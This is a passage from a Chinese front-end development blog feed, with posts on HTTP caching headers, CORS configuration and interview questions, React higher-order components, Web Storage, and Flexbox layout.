&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-08.webp"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;那么强制缓存的缓存规则是什么？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;当浏览器向服务器发起请求时，服务器会将缓存规则放入HTTP响应报文的HTTP头中和请求结果一起返回给浏览器，控制强制缓存的字段分别是Expires和Cache-Control，其中Cache-Control优先级比Expires高。&lt;/p&gt;
&lt;h5 id="expires"&gt;Expires&lt;/h5&gt;
&lt;p&gt;Expires是HTTP/1.0控制网页缓存的字段，其值为服务器返回该请求结果缓存的到期时间，即再次发起该请求时，如果客户端的时间小于Expires的值时，直接使用缓存结果。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Expires是HTTP/1.0的字段，但是现在浏览器默认使用的是HTTP/1.1，那么在HTTP/1.1中网页缓存还是否由Expires控制？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;到了HTTP/1.1，Expire已经被Cache-Control替代，原因在于Expires控制缓存的原理是使用客户端的时间与服务端返回的时间做对比，那么如果客户端与服务端的时间因为某些原因（例如时区不同；客户端和服务端有一方的时间不准确）发生误差，那么强制缓存则会直接失效，这样的话强制缓存的存在则毫无意义，那么Cache-Control又是如何控制的呢？&lt;/p&gt;
&lt;h5 id="cache-control"&gt;Cache-Control&lt;/h5&gt;
&lt;p&gt;在HTTP/1.1中，Cache-Control是最重要的规则，主要用于控制网页缓存，主要取值为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;public：所有内容都将被缓存（客户端和代理服务器都可缓存）&lt;/li&gt;
&lt;li&gt;private：所有内容只有客户端可以缓存，Cache-Control的默认取值&lt;/li&gt;
&lt;li&gt;no-cache：客户端缓存内容，但是是否使用缓存则需要经过协商缓存来验证决定&lt;/li&gt;
&lt;li&gt;no-store：所有内容都不会被缓存，即不使用强制缓存，也不使用协商缓存&lt;/li&gt;
&lt;li&gt;max-age=xxx (xxx is numeric)：缓存内容将在xxx秒后失效&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;接下来，我们直接看一个例子，如下：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-09.webp"&gt;&lt;/p&gt;
&lt;p&gt;由上面的例子我们可以知道：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTTP响应报文中expires的时间值，是一个绝对值&lt;/li&gt;
&lt;li&gt;HTTP响应报文中Cache-Control为max-age=600，是相对值&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;由于Cache-Control的优先级比expires，那么直接根据Cache-Control的值进行缓存，意思就是说在600秒内再次发起该请求，则会直接使用缓存结果，强制缓存生效。&lt;/p&gt;
&lt;p&gt;注：在无法确定客户端的时间是否与服务端的时间同步的情况下，Cache-Control相比于expires是更好的选择，所以同时存在时，只有Cache-Control生效。&lt;/p&gt;
&lt;p&gt;了解强制缓存的过程后，我们拓展性的思考一下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;浏览器的缓存存放在哪里，如何在浏览器中判断强制缓存是否生效？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-011/image-10.webp"&gt;&lt;/p&gt;
&lt;p&gt;这里我们以博客的请求为例，状态码为灰色的请求则代表使用了强制缓存，请求对应的Size值则代表该缓存存放的位置，分别为from memory cache 和 from disk cache。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;那么from memory cache 和 from disk cache又分别代表的是什么呢？什么时候会使用from disk cache，什么时候会使用from memory cache呢？&lt;/p&gt;</description></item><item><title>跨域资源共享（CORS）</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-011/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-011/</guid><description>&lt;p&gt;跨域资源共享（CORS，Cross-Origin Resource Sharing）是浏览器用来放宽同源策略限制的一种机制，是前端跨域请求的主流解决方案。面试时考察点主要围绕它的原理、工作流程、配置细节及相关安全问题。&lt;/p&gt;
&lt;h2 id="一cors-基础概念"&gt;一、CORS 基础概念&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：允许浏览器从不同源的服务器请求资源，突破同源策略限制。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;/strong&gt;：服务器通过设置特定的 HTTP 响应头，告诉浏览器允许跨域访问。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="二cors-的关键响应头"&gt;二、CORS 的关键响应头&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;头部&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;指明允许访问的源，可以是具体域名（如 &lt;code&gt;https://example.com&lt;/code&gt;）或 &lt;code&gt;*&lt;/code&gt;（表示允许所有域访问）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Access-Control-Allow-Methods&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许的请求方法（GET、POST、PUT、DELETE 等）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Access-Control-Allow-Headers&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许请求携带的自定义头部字段&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Access-Control-Allow-Credentials&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;是否允许携带 Cookie 或 HTTP 认证信息，值为 &lt;code&gt;true&lt;/code&gt; 时允许&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Access-Control-Max-Age&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;预检请求的结果缓存时间，单位秒&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="三cors-请求分类"&gt;三、CORS 请求分类&lt;/h2&gt;
&lt;h3 id="1-简单请求"&gt;1. &lt;strong&gt;简单请求&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;满足以下条件，浏览器直接发请求：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;请求方法是 &lt;code&gt;GET&lt;/code&gt;、&lt;code&gt;POST&lt;/code&gt;、&lt;code&gt;HEAD&lt;/code&gt; 中之一。&lt;/li&gt;
&lt;li&gt;请求头只包含简单头（如 &lt;code&gt;Accept&lt;/code&gt;, &lt;code&gt;Content-Type&lt;/code&gt; 仅限 &lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt;、&lt;code&gt;multipart/form-data&lt;/code&gt; 或 &lt;code&gt;text/plain&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;不携带自定义 Cookie、认证信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-预检请求preflight"&gt;2. &lt;strong&gt;预检请求（Preflight）&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;当请求不满足简单请求条件时，浏览器先发送 &lt;code&gt;OPTIONS&lt;/code&gt; 请求询问服务器是否允许该跨域请求。&lt;/li&gt;
&lt;li&gt;服务器响应通过特定头部告诉浏览器是否放行。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="四cors-工作流程"&gt;四、CORS 工作流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;浏览器发送跨域请求。&lt;/li&gt;
&lt;li&gt;如果是简单请求，直接带上请求头发送实际请求，服务器返回响应带有 CORS 相关头，浏览器决定是否允许。&lt;/li&gt;
&lt;li&gt;如果是非简单请求，浏览器先发 &lt;code&gt;OPTIONS&lt;/code&gt; 预检请求。&lt;/li&gt;
&lt;li&gt;服务器响应预检，决定是否允许后，浏览器再发实际请求。&lt;/li&gt;
&lt;li&gt;浏览器根据响应头决定是否允许前端访问响应内容。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="五携带-cookie-的跨域请求"&gt;五、携带 Cookie 的跨域请求&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;默认情况下，跨域请求不发送 Cookie。&lt;/li&gt;
&lt;li&gt;前端请求时必须设置：&lt;code&gt;xhr.withCredentials = true&lt;/code&gt; 或 &lt;code&gt;fetch&lt;/code&gt; 的 &lt;code&gt;credentials: 'include'&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;服务器必须设置：&lt;code&gt;Access-Control-Allow-Credentials: true&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; 不能使用 &lt;code&gt;*&lt;/code&gt;，必须指定具体域名。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="常见考点"&gt;常见考点&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;CORS 是什么？为什么需要它？&lt;/li&gt;
&lt;li&gt;同源策略和 CORS 的关系？&lt;/li&gt;
&lt;li&gt;简单请求和预检请求的区别？&lt;/li&gt;
&lt;li&gt;预检请求的触发条件有哪些？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; 设置为 &lt;code&gt;*&lt;/code&gt; 有什么限制？&lt;/li&gt;
&lt;li&gt;如何支持带 Cookie 的跨域请求？&lt;/li&gt;
&lt;li&gt;CORS 配置中的常用响应头说明。&lt;/li&gt;
&lt;li&gt;如何解决跨域请求失败问题？&lt;/li&gt;
&lt;li&gt;JSONP 和 CORS 的区别？&lt;/li&gt;
&lt;li&gt;服务器如何配置支持 CORS？&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>高阶组件</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-011/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-011/</guid><description>&lt;h2 id="一-前言"&gt;一 前言&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;React&lt;/code&gt;高阶组件(&lt;code&gt;HOC&lt;/code&gt;)，对于很多&lt;code&gt;react&lt;/code&gt;开发者来说并不陌生，它是灵活使用&lt;code&gt;react&lt;/code&gt;组件的一种技巧，高阶组件本身不是组件，它是一个参数为组件，返回值也是一个组件的函数。&lt;/p&gt;
&lt;p&gt;高阶作用用于&lt;strong&gt;强化组件，复用逻辑，提升渲染性能等&lt;/strong&gt;作用。高阶组件也并不是很难理解，其实接触过后还是蛮简单的，接下来将按照，&lt;strong&gt;高阶组件理解？&lt;/strong&gt;，&lt;strong&gt;高阶组件具体怎么使用？应用场景&lt;/strong&gt;， &lt;strong&gt;高阶组件实践(源码级别)&lt;/strong&gt; 为突破口，带大家详细了解一下高阶组件。&lt;/p&gt;
&lt;p&gt;我们带着问题去开始今天的讨论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1 什么是高阶组件，它解决了什么问题？&lt;/li&gt;
&lt;li&gt;2 有几种高阶组件，它们优缺点是什么？&lt;/li&gt;
&lt;li&gt;3 如何写一个优秀高阶组件？&lt;/li&gt;
&lt;li&gt;4 &lt;code&gt;hoc&lt;/code&gt;怎么处理静态属性，跨层级&lt;code&gt;ref&lt;/code&gt;等问题？&lt;/li&gt;
&lt;li&gt;5 高阶组件怎么控制渲染，隔离渲染？&lt;/li&gt;
&lt;li&gt;6 高阶组件怎么监控原始组件的状态？&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;高阶组件（HOC）是 React 中用于复用组件逻辑的一种高级技巧。HOC 自身不是 React API 的一部分，它是一种基于 React 的组合特性而形成的设计模式。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-011/image-01.webp"&gt;&lt;/p&gt;
&lt;h2 id="二-全方位看高阶组件"&gt;二 全方位看高阶组件&lt;/h2&gt;
&lt;h2 id="1-几种包装强化组件的方式"&gt;1 几种包装强化组件的方式&lt;/h2&gt;
&lt;h3 id="-mixin模式"&gt;① mixin模式&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;原型图&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-011/image-02.webp"&gt;&lt;/p&gt;
&lt;h4 id="老版本的react-mixins"&gt;老版本的&lt;code&gt;react-mixins&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;在&lt;code&gt;react&lt;/code&gt;初期提供一种组合方法。通过&lt;code&gt;React.createClass&lt;/code&gt;,加入&lt;code&gt;mixins&lt;/code&gt;属性，具体用法和&lt;code&gt;vue&lt;/code&gt; 中&lt;code&gt;mixins&lt;/code&gt;相似。具体实现如下。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;customMixin&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;componentDidMount&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;------componentDidMount------&amp;#39;&lt;/span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;say&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;state&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;APP&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;createClass&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;mixins&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [ &lt;span style="color:#a6e22e"&gt;customMixin&lt;/span&gt; ],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;getInitialState&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;alien&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;render&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; } &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;state&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;hello&lt;/span&gt; ,&lt;span style="color:#a6e22e"&gt;world&lt;/span&gt; , &lt;span style="color:#a6e22e"&gt;my&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;is&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; } &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这种&lt;code&gt;mixins&lt;/code&gt;只能存在&lt;code&gt;createClass&lt;/code&gt;中，后来&lt;code&gt;React.createClass&lt;/code&gt;连同&lt;code&gt;mixins&lt;/code&gt;这种模式被废弃了。&lt;code&gt;mixins&lt;/code&gt;会带来一些负面的影响。&lt;/p&gt;</description></item><item><title>Web Storage</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/web-storage/</link><pubDate>Wed, 09 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/web-storage/</guid><description>&lt;h2 id="一-简介"&gt;一、 简介&lt;/h2&gt;
&lt;p&gt;浏览器本地存储是指浏览器提供的一种机制，允许 Web 应用程序在浏览器端存储数据，以便在用户下次访问时可以快速获取和使用这些数据。一共两种存储方式：localStorage 和 sessionStorage。下面介绍下两种缓存的特性和在内部平台的一些应用。&lt;/p&gt;
&lt;h2 id="二localstorage-和-sessionstorage"&gt;二、localStorage 和 sessionStorage&lt;/h2&gt;
&lt;h3 id="21区别"&gt;2.1、区别&lt;/h3&gt;
&lt;p&gt;localStorage 和 sessionStorage 的主要区别是生命周期，具体区别如下：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;localStorage&lt;/th&gt;
&lt;th&gt;sessionStorage&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;生命周期&lt;/td&gt;
&lt;td&gt;持久化存储：除非自行删除或清除缓存，否则一直存在&lt;/td&gt;
&lt;td&gt;会话级别的存储：浏览器标签页或窗口关闭&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;作用域&lt;/td&gt;
&lt;td&gt;相同浏览器，同域名，不同标签，不同窗口&lt;/td&gt;
&lt;td&gt;相同浏览器，同域名，同源窗口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;获取方式&lt;/td&gt;
&lt;td&gt;window.localStorage&lt;/td&gt;
&lt;td&gt;window.sessionStorage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;存储容量&lt;/td&gt;
&lt;td&gt;5M&lt;/td&gt;
&lt;td&gt;5M&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;容量限制的目的是防止滥用本地存储空间，导致用户浏览器变慢。&lt;/p&gt;
&lt;h3 id="22浏览器兼容性"&gt;2.2、浏览器兼容性&lt;/h3&gt;
&lt;p&gt;1）现在的浏览器基本上都是支持这两种 Storage 特性的。各浏览器支持版本如下：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Chrome&lt;/th&gt;
&lt;th&gt;Firefox&lt;/th&gt;
&lt;th&gt;IE&lt;/th&gt;
&lt;th&gt;Opera&lt;/th&gt;
&lt;th&gt;Safari&lt;/th&gt;
&lt;th&gt;Android&lt;/th&gt;
&lt;th&gt;Opera Mobile&lt;/th&gt;
&lt;th&gt;Safari Mobile&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;localStorage&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;3.5&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;10.5&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;2.1&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;iOS 3.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sessionStorage&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;10.5&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;2.1&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;iOS 3.2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;2）如果使用的是老式浏览器，比如Internet Explorer 6、7 或者其他，就需要在使用前检测浏览器是否支持本地存储或者是否被禁用。以 localStorage 为例：&lt;/p&gt;</description></item><item><title>Flexbox</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/flexbox/</link><pubDate>Tue, 08 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/flexbox/</guid><description>&lt;h3 id="一flexbox布局的概念"&gt;一、Flexbox布局的概念&lt;/h3&gt;
&lt;p&gt;Flexbox布局也叫Flex布局，弹性盒子布局。它的&lt;strong&gt;目标&lt;/strong&gt;是提供一个更有效地布局、对齐方式，并且能够使父元素在子元素的大小未知或动态变化情况下仍然能够分配好子元素之间的间隙。&lt;strong&gt;主要思想&lt;/strong&gt;是使父元素能够调整子元素的宽度、高度、排列方式，从而更好的适应可用的布局空间。设定为flex布局的元素能够放大子元素使之尽可能填充可用空间，也可以收缩子元素使之不溢出。 ​&lt;/p&gt;
&lt;p&gt;Flex布局更适合小规模的布局，可以简便、完整、响应式的实现各种页面布局。但是，设为Flex布局以后，其子元素的&lt;code&gt;float&lt;/code&gt;、&lt;code&gt;clear&lt;/code&gt;和&lt;code&gt;vertical-align&lt;/code&gt;属性将失效。Flex弹性盒模型的优势在于只需声明布局应该具有的⾏为，⽽不需要给出具体的实现⽅式，浏览器负责完成实际布局，当布局涉及到不定宽度，分布对⻬的场景时，就要优先考虑弹性盒布局。&lt;/p&gt;
&lt;p&gt;Flex布局是一个完整的模块，它包括了一套完整的属性。其中采用 Flex 布局的元素，称为 Flex 容器，简称&amp;quot;&lt;strong&gt;容器&lt;/strong&gt;&amp;quot;。它的所有子元素就是容器成员，称为 Flex 项目，简称&amp;quot;&lt;strong&gt;项目&lt;/strong&gt;&amp;quot;。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/flexbox/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;容器默认存在两个轴：&lt;strong&gt;水平轴&lt;/strong&gt;（main axis）和&lt;strong&gt;垂直轴&lt;/strong&gt;（cross axis），项目默认沿主轴排列（水平轴）：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/flexbox/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;这里面涉及到了几个概念，下面来看一下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;main axis&lt;/strong&gt;: Flex 父元素的主轴是指子元素布局的主要方向轴，它由属性flex-direction来确定主轴是水平还是垂直的，默认为水平轴。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;main-start &amp;amp; main-end&lt;/strong&gt;: 分别表示主轴的开始和结束，子元素在父元素中会沿着主轴从main-start到main-end排布。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;main size&lt;/strong&gt;: 单个项目占据主轴的长度大小。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;cross axis&lt;/strong&gt;: 交叉轴，与主轴垂直。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;cross-start &amp;amp; cross-end&lt;/strong&gt;: 分别表示交叉轴的开始和结束。子元素在交叉轴的排布从cross-start开始到cross-end。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;cross size&lt;/strong&gt;: 子元素在交叉轴方向上的大小。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="二父元素属性"&gt;二、父元素属性&lt;/h3&gt;
&lt;p&gt;想要使用flex布局，首先需要给父元素指定为flex布局，这样容器内的元素才能实现flex布局：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#f92672"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;container&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;container&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;display&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;flex&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;inline-flex&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里有两种方式可以设置flex布局，使用&lt;code&gt;display: flex;&lt;/code&gt;会生成一个块状的flex容器盒子，使用&lt;code&gt;display: inline-flex;&lt;/code&gt;会生成一个行内的flex容器盒子。如果我们使用块状元素，比如div标签，就可以使用flex，如果使用行内元素，就可以使用inline-flex。多数情况下，我们会使用&lt;strong&gt;display: flex;&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;父元素（容器）可以设置以下六个属性：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;flex-direction&lt;/li&gt;
&lt;li&gt;flex-wrap&lt;/li&gt;
&lt;li&gt;flex-flow&lt;/li&gt;
&lt;li&gt;justify-content&lt;/li&gt;
&lt;li&gt;align-items&lt;/li&gt;
&lt;li&gt;align-content&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="1-flex-direction"&gt;1. flex-direction&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;flex-direction&lt;/strong&gt;：主轴方向，它决定了容器内元素排列方向，它有四个属性值：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;container&lt;/span&gt; {
